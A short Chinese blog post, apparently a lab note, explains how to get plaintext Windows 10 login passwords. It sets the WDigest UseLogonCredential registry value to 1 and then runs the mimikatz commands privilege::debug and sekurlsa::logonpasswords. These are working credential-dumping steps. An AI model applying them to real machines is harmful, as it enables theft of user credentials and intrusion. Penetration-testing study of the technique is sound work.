admin管理员组

文章数量:1589049

实验环境 :Windows10专业版
参考了网上的方法,发现大部分都是抄的
https://blog.csdn/netsec_steven/article/details/107257325
这一篇文章,都被转烂了,这一篇文章是对的,但是路径上还是有点小问题的,原因是原作者跳了一个步骤
这个步骤是:在注册表HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest下新建一个名为UseLogonCredential的DWORD值,并且赋值为1。

其他步骤与引用的文章相同。

然后打开mimikatz输入下列命令提权

privilege::debug

再然后输入下列命令抓取密码

sekurlsa::logonpasswords

结果

成功

本文标签: 明文中用密码系统mimikatz